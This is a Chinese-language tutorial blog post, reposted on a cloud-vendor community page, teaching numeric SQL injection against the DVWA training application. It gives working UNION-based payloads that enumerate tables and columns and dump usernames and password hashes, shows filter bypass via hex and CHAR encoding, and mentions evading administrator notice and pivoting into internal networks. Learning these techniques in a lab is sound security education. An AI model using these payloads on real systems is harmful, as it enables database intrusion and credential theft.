滲透學習筆記--基礎篇--sql注入(數字型)

來源:互聯網
上載者:User

標籤:sql注入   數字型注入   dvwa   sql注入教程   web滲透   web安全   

環境:dvwa 1.7資料庫:mysql

          dvwa的安全等級:medium


一、分析和尋找注入點
(1)知識點回顧
如果上一篇有好好讀過的同學應該知道,我們上一篇遇到的字元型注入。也即是通過Get或者Post方式傳進去的資料被單引號或者雙引號包裹住。如果我們想要注入自己的payload(有效載荷)的話,則我們必須先閉合前面的單引號或者雙引號,否則我們的資料始終會被當做成字串來處理。

這種類型的注入點稱為字元型注入點。

(2)這次我們的把防禦等級提升了一個層次,來逐步加強我們手工注入的能力以及開更多關於sql注入的腦洞!這次我們依舊先分析web應用的功能,然後測試我們輸入的參數是否被正確的處理。
1、還是來到我們SQL injection這裡,可以看到這裡還是和上次一樣,給出一個輸入框,讓我們輸入ID的數值,然後返回對應ID的firstname,surname這兩個資訊。
    [1]當我們輸入正常的數字1的時候,可以看到返回對應資料

    [2]當我們輸入“1‘”的時候,可以看到有報錯資訊。也就是說使用者的輸入沒有被正當的處理,從而引起資料庫的語法錯誤,看起來有戲!
650) this.width=650;" src="http://s3.51cto.com/wyfs02/M02/5E/05/wKiom1UpDvijg4IMAAU4n94YqRs807.jpg" border="0" width="720" style="margin:0px;padding:0px;border:medium none;line-height:1.6em;" />

同時我們仔細觀察一下,我們輸入的“‘”被“\”轉義了,變成了這樣子“\‘”。也就說這裡,應用程式進行的過濾應該是利用php裡面addslashes類似的函數,這個函數會處理四個資料。分別是單引號【‘】、雙引號【"】、反斜線【\】、Null 字元【null】。
[3]這裡我們繼續測試,看一看是不是用了類似的函數
測試資料:
(1) “1"”

650) this.width=650;" src="http://s3.51cto.com/wyfs02/M02/5E/05/wKiom1UpDvjgjJYUAAJTAMtJ2dU771.jpg" border="0" width="720" style="margin:0px;padding:0px;border:medium none;line-height:1.6em;" />

(2)“1\”
650) this.width=650;" src="http://s3.51cto.com/wyfs02/M00/5E/01/wKioL1UpEEWyn2rVAAHiEaOES5I222.jpg" border="0" width="720" style="margin:0px;padding:0px;border:medium none;line-height:1.6em;" />

(3)“%00”注意因為我們沒辦法用鍵盤輸入Null 字元,但是可以在url上使用%00來表示,所以才會有地址欄上的%00
650) this.width=650;" src="http://s3.51cto.com/wyfs02/M00/5E/01/wKioL1UpEEXwadKoAAFNh2E0KKE594.jpg" border="0" width="720" style="margin:0px;padding:0px;border:medium none;line-height:1.6em;" />

(4)測試一下其他的字元,“-”、“&”。可以發現雖然也是報錯了,可是並沒有出現逸出字元
650) this.width=650;" src="http://s3.51cto.com/wyfs02/M00/5E/05/wKiom1UpDvjTvgNsAAUj09UpWfQ067.jpg" border="0" width="720" style="margin:0px;padding:0px;border:medium none;line-height:1.6em;" />

2、這個時候我們思考一下,要是字元型的注入點,我們的輸入單引號已經被轉義,按道理來說不應該出現報錯的資訊。
首先還是選擇資料庫為dvwa
use dvwa;
這裡我們在本機資料庫測試一下。
select * from users where user_id = ‘1\‘‘;

650) this.width=650;" src="http://s3.51cto.com/wyfs02/M00/5E/05/wKiom1UpDviwogWTAANGm3lklfA215.jpg" border="0" style="margin:0px;padding:0px;border:medium none;line-height:1.6em;" /> 

可以看到當我們的輸入語句帶上轉義的單引號時,不但沒有報錯還能查詢成功。
(1)不報錯的原因是,這裡的單引號已經被轉義,從而整個字串的值為 1\‘
(2)那為什麼會查詢成功呢?
這裡涉及的知識是強制類型轉換,我們先來看一下表的定義
describe users;

650) this.width=650;" src="http://s3.51cto.com/wyfs02/M01/5E/01/wKioL1UpEEXRCQGLAAE1GtTSWqY058.jpg" border="0" style="margin:0px;padding:0px;border:medium none;line-height:1.6em;" /> 

可以看到user_id這個類型是int整型,當我們的查詢像上面的一樣的時候,mysql會將字串強制類型轉換成int類型,但是這種轉換是有缺陷的!
下面給出三個例子,大家感受一下!
select * from users where user_id = ‘1abdc‘;
select * from users where user_id = ‘abdc‘;
select * from users where user_id = ‘2abdc‘;

650) this.width=650;" src="http://s3.51cto.com/wyfs02/M01/5E/01/wKioL1UpEEXz6_G8AAPBUcR7ba0323.jpg" border="0" style="margin:0px;padding:0px;border:medium none;line-height:1.6em;" /> 

上面的例子中,第二個因為一開始沒有數字,所以在轉換類型的時候,會轉換成0。
具體可以看一下這個例子。

650) this.width=650;" src="http://s3.51cto.com/wyfs02/M01/5E/05/wKiom1UpDvjTo1-xAAHv6gFGcI8751.jpg" border="0" style="margin:0px;padding:0px;border:medium none;line-height:1.6em;" /> 

3、根據上面兩部分的分析,我們可以知道這次我們傳進去的資料並不是被包裹在單引號或者雙引號裡面的,這時候我們得介紹第二種類型的注入點了,數字型注入。
(1)測試,說明是數字型,那我們來進行簡單的加減運算就可以知道它是否存在注入點了。
測試:在輸入框裡面
    [1]輸入2的時候,反饋的是ID為2的使用者資訊
    [2]輸入1+1的時候,反饋和2的結果一樣。也就是說明這裡存在注入點。類似的也可以使用減號“-”、“*”、“/”這些運算子號。

650) this.width=650;" src="http://s3.51cto.com/wyfs02/M01/5E/05/wKiom1UpDvjRA1jeAAGiTStrouQ467.jpg" border="0" width="720" style="margin:0px;padding:0px;border:medium none;line-height:1.6em;" />
PS:但是這裡需要注意的是,在URL中“+”是有特別含義,它表示的是空格。所以在URL中我們需要使用“%2B”來代替“+”。

二、構造payload
簡單說明:其實數字型注入就是我們的資料不需要再閉合單引號可以直接注入到查詢中。所以之後構造payload部分很大程度和字元型一樣。

1、猜測欄位數
這裡使用order by 來猜測
Payload:
1 order by 1
1 order by 2
1 order by 3

650) this.width=650;" src="http://s3.51cto.com/wyfs02/M02/5E/01/wKioL1UpEEWQunxdAAGRFBUNYwY473.jpg" border="0" style="margin:0px;padding:0px;border:medium none;line-height:1.6em;" /> 
可以發現在3的時候,出現錯誤。因而可以得出欄位數為2


2、之後的過程和字元型注入一樣,只不過是去掉了Payload前面的單引號以及最後面的注釋符號。要是有疑惑的可以看上一篇文章。不過這裡要重點的提一下,要是我們想要使用字串的話,可以有兩種方法。
[1]使用字串的十六進位來表示,例如admin轉化為十六進位,為“61646D696E”

650) this.width=650;" src="http://s3.51cto.com/wyfs02/M02/5E/01/wKioL1UpEEXTxcsbAABykcEMMVo703.jpg" border="0" style="margin:0px;padding:0px;border:medium none;line-height:1.6em;" /> 
然後我們之後在十六進位前加上0x61646D696E
我們構造的payload像這樣即可
select * from users where user = 0x61646D696E;
[2]使用char函數,但這裡char函數使用的參數是十進位的ascii數值。比如admin
CHAR(97, 100, 109, 105, 110)
構造的payload像這樣即可
select * from users where user = CHAR(97, 100, 109, 105, 110);


3、這裡構造最終的payload
擷取資料庫名:
-1 union select 1,database()

650) this.width=650;" src="http://s3.51cto.com/wyfs02/M02/5E/05/wKiom1UpDvixtrvxAACJi_-ZCLo514.jpg" border="0" style="margin:0px;padding:0px;border:medium none;line-height:1.6em;" /> 

擷取表名:
-1 union select table_name,2 from information_schema.tables where table_schema = database()

650) this.width=650;" src="http://s3.51cto.com/wyfs02/M02/5E/05/wKiom1UpDvjCHbNsAAEwq85BPR8401.jpg" border="0" width="720" style="margin:0px;padding:0px;border:medium none;line-height:1.6em;" />

擷取users表的列名
-1 union select column_name,2 from information_schema.columns where table_schema = database() and table_name = 0x7573657273

650) this.width=650;" src="http://s3.51cto.com/wyfs02/M00/5E/01/wKioL1UpEEWhp-QBAAJAkX3ZOV8346.jpg" border="0" style="margin:0px;padding:0px;border:medium none;line-height:1.6em;" /> 

擷取資料表內容
-1 union select user,password from users;

650) this.width=650;" src="http://s3.51cto.com/wyfs02/M00/5E/01/wKioL1UpEEWjWZO0AAHeAl3QfEQ778.jpg" border="0" style="margin:0px;padding:0px;border:medium none;line-height:1.6em;" /> 

4、好了又到去MD5網站破解密碼的時候,小夥伴興奮否,又是一次驗證自己成果的時候。
這裡我們選擇使用者名稱為1337的使用者,好!

650) this.width=650;" src="http://s3.51cto.com/wyfs02/M00/5E/05/wKiom1UpDvny4_uRAAJ8QrhBX8w867.jpg" border="0" width="720" style="margin:0px;padding:0px;border:medium none;line-height:1.6em;" />

Duang ,密碼出來了!開心死了


三、好了,到開腦洞時刻
這個時候我們來瞭解一下什麼是黑箱測試以及白盒測試?
1、黑箱測試
黑盒:言下之意就是我們對web應用所知甚少,就像我們對一個封閉的箱子的瞭解一樣,我們能夠擷取的資訊很少。我們所擁有的是資料的輸入口,以及資料的輸出口!
    (1)通過構造特定的輸入來觀察輸出,從而去分析web應用是如何去處理我們的資料。比如上面,我們輸入的id值被轉義了,但是我們不清楚是不是只對某一部分的內容就行轉義,於是我們利用"&"、"-"、"+"這些特殊字元去測試。
    (2)一般來說,要是我們在前期測試擷取了足夠多的資訊,可以搭建本地環境,然後對本地環境進行模糊測試(也就是輸入大量無序特別的的資料,去觀察應用程式的反應),同時也可以避免大量測試引起管理員的注意
    (3)對於黑箱測試來說,更像我們正常的滲透。我們通過搜尋引擎,各種資訊泄露的查詢方法來擷取關於web應用方面的資訊!
而我們這兩次的學習都是黑箱測試,因為我們只擁有資料的輸入以及可以擷取資料的輸出。
2、白盒測試
白盒:與黑箱測試相反,我們知道的資訊很多。
    (1)可以知道web應用的邏輯,它會怎樣處理輸入資料,比如我們被告知輸入部分被"\"轉義,這個時候,我們就會去思考,怎麼構造payload吃掉"\"。
    (2)可以知道web應用所具有的功能,比如被告知有檔案上傳功能,這個時候我們去思考是否存在檔案上傳漏洞,或者伺服器的解析漏洞
    (3)可以知道網路拓撲結構,我們則可以通過指定滲透流程,比如先拿下web伺服器,然後利用web伺服器來開啟內網的大門。
    (4)有時還可以知道源碼,要是可以知道源碼的話,可以通過分析應用程式如何過濾輸入,然後找到其不嚴謹的地反,既可以繞過!


本文出自 “且行且欣賞” 部落格,請務必保留此出處http://skytina.blog.51cto.com/6834539/1698729

滲透學習筆記--基礎篇--sql注入(數字型)

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.